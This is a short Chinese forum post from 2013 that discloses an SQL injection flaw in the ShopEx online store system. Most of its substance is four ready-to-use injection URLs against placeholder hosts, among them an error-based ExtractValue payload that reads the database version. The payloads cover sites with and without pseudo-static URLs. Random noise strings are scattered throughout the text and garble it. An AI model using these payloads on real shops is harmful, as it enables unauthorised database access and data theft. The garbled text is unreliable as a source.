注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…% h$ @' |& H2 {$ O$ _& G
+ S! r7 J r: \8 e- Z好吧，我扯远了~~
# z$ g& \) q! H6 V6 ~其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~
: A2 q& _) N: P L9 @; e; v不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：% o* j# S8 d# n- f$ M+ _
6 [/ E5 ?* L+ C; I# H8 t$ Ohttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
8 p1 O) A( K# o- T. d$ \1 _! q
H8 i; s# Z D, x+ g+ Fhttp://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html1 ~1 ]/ \4 P! O- r, Z
) M! y' X' ?, I" c8 r" {7 y yhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html( Q4 ^3 B% d" q9 X7 a2 H& _5 ]
$ `, j; T) l+ d. q0 Ihttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html5 M4 K j* {) W/ W6 f
2 B: v7 L7 L# d' ^* }1 Q3 O& w
( f4 _0 A( d2 O/ ]; a( G一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。, i! f8 T" R0 Y% q: K0 _
如何注入就不多说了，10多年的东西了…不会也会了…
: _# A: I+ i2 b0 w1 J- k( i) S4 ] @0 `: s6 O0 L) P+ d. S
|
发表于 2013-2-4 16:20:04
收藏
支持
反对